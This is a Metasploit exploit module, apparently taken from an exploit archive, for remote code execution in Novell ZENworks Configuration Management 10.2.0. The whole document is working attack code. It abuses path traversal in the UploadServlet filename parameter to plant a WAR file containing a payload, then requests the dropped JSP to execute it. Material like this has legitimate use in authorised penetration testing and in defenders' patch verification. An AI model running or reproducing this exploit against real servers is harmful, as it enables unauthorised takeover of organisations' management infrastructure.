Novell ZENworks Configuration Management 10.2.0 – Remote Execution (Metasploit)
## # $Id: zenworks_uploadservlet.rb 11099 2010-11-22 17:53:49Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Novell ZENworks Configuration Management Remote Execution', 'Description' => %q{ This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0. By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory and then make a secondary request that allows for arbitrary code execution. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11099 $', 'References' => [ [ 'OSVDB', '63412' ], [ 'BID', '39114' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-078/' ], [ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ], ], 'Privileged' => true, 'Platform' => [ 'java', 'win', 'linux' ], 'Targets' => [ [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ], [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux x86', # should work but untested { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 30 2010')) register_options([Opt::RPORT(80),], self.class) end def exploit # Generate the WAR containing the EXE containing the payload app_base = rand_text_alphanumeric(4+rand(32-4)) jsp_name = rand_text_alphanumeric(8+rand(8)) war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s res = send_request_cgi( { 'uri' => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war", 'method' => 'POST', 'data' => war_data, 'headers' => { 'Content-Type' => 'application/octet-stream', } }) print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...") select(nil, nil, nil, 20) if (res.code == 200) print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...") send_request_raw( { 'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp', 'method' => 'GET', }) else print_error("Denied...") end handler end end |